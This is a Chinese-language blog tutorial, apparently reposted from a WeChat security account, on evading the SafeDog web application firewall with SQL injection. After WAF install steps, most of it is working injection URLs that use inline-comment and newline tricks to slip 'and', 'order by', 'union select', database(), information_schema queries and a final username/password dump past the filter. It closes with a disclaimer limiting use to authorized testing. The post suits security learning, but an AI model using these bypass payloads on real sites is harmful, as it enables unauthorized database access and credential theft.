绕狗 | 基于最新安全狗学习SQL注入FUZZ

admin 2023年8月11日19:41:50评论16 views字数 2142阅读7分8秒阅读模式

绕狗 | 基于最新安全狗学习SQL注入FUZZ

01

首先安装
    在学习绕狗前,我们需要先装狗,建议在虚拟机进行操作,安装狗子前先拍个快照,不然我怕你自闭:
下载地址:https://www.safedog.cn/website_safedog.html
    安装过程中有几率识别不到或者是由于Phpstudy版本原因,Apache进程没有以服务形式运行,那么我们需要自己手动用命令加个服务:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    管理权限运行cmd:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    然后切到Apache的bin目录输入命令:
httpd -k install -n apache2.4
绕狗 | 基于最新安全狗学习SQL注入FUZZ
绕狗 | 基于最新安全狗学习SQL注入FUZZ
绕狗 | 基于最新安全狗学习SQL注入FUZZ

02

测试开始
构造判断语句
    构造 and 1=1已经被拦截了:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    但是只用 and ,后面没内容时是正常的:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    我们尝试在中间FUZZ一下,看看有什么可以代替空格的符号:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    也就说这些玩意都可以,然后自己构造下,让语句正常:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    在内联注释中插入这些代替空格的符号即可(列举几个):
?id=1' and/*///*/1=1 --+?id=1' and/*/!/*/1=1 --+?id=1' and/*//!/*/1=1 --+
绕狗 | 基于最新安全狗学习SQL注入FUZZ
绕狗 | 基于最新安全狗学习SQL注入FUZZ

order by绕过
    这个同理,需要FUZZ出内容代替空格,直接拼的话会拦截:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    在构造判断语句时我们已经得到了一些能绕过的符号了:
?id=1' order/*//!/*/by 3 --+
绕狗 | 基于最新安全狗学习SQL注入FUZZ

绕狗 | 基于最新安全狗学习SQL注入FUZZ

union select绕过
    经测试,当union或select单独出现时,并不会被拦截:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    这里的话用前面的绕过符号过不去了,重新FUZZ一下:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    爆出来好多:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    让我们试一试(随便列几个):
?id=-1' union/*/!--/*/select 1,2,3--+?id=-1' union/*//---*/select 1,2,3--+?id=-1' union/*/!--!*/select 1,2,3--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ

爆库:database() 绕过
    这里的话,当database跟后面的()没有同时出现时是正常的:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    当与()同时出现,形成完整函数时被拦截:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    好好好,我们直接用绕过union select的符号就可以:
?id=-1' union/*/!--!*/select 1,database/*/!--!*/(),3--+?id=-1' union/*/!--!*/select 1,database/*/!--/*/(),3--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ

爆表
    我们先把正常语句丢进去,然后判断检测了什么:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    好好好,from后面不能出现字母i:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    现在的思路就是要往from和i的中间做文章,这里有一个思路会涉及到四个知识点:

第一个点:
    利用内联注释,往其中间插入 ! ,! 后面的的内容会被正常执行:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
第二个点:
    可以在内联注释中插入 /* ,也可达到绕过的效果:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
第三个点:
    构造的语句中可以插入注释符:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
第四个点:
    同时配合如下内容,达到绕过:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    
    最后经过测试,构造的语句如下所示:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*/ --+
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    但是……where又不能出现在后面了:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    这里,我们尝试在where前面插入之前用来绕过空格的字符:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*//*/!--!*/where--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    好好好:
?id=-1%27%20union/*/!--!*/select%201,group_concat(table_name),3 from/*!--+/*%0ainformation_schema.tables*//*/!--!*/where table_schema='security'--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ

爆列名
    经过测试,在条件table_name后面出现等于号的时候会被拦:
绕狗 | 基于最新安全狗学习SQL注入FUZZ
绕狗 | 基于最新安全狗学习SQL注入FUZZ
    无所谓,在等于号前面同样加一串代替空格的字符:
?id=-1%27%20union/*/!--!*/select%201,group_concat(column_name),3 from/*!--+/*%0ainformation_schema.columns*//*/!--!*/where table_schema='security' and table_name/*/!--!*/='users'--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ

获取值
    这不就简单了吗:
?id=-1%27%20union/*/!--!*/select%201,group_concat(username,0x7e,password),3 from/*!--+/*%0ausers*/--+
绕狗 | 基于最新安全狗学习SQL注入FUZZ


绕狗 | 基于最新安全狗学习SQL注入FUZZ
(
END
)



!扫码添加哦!
绕狗 | 基于最新安全狗学习SQL注入FUZZ
免责声明











   
文章内容仅限授权测试或学习使用
请勿进行非法的测试或攻击
    利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全文章对应作者
不为此承担任何责任





原文始发于微信公众号(犀利猪安全):绕狗 | 基于最新安全狗学习SQL注入FUZZ

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月11日19:41:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕狗 | 基于最新安全狗学习SQL注入FUZZhttp://cn-sec.com/archives/1950962.html

发表评论

匿名网友 填写信息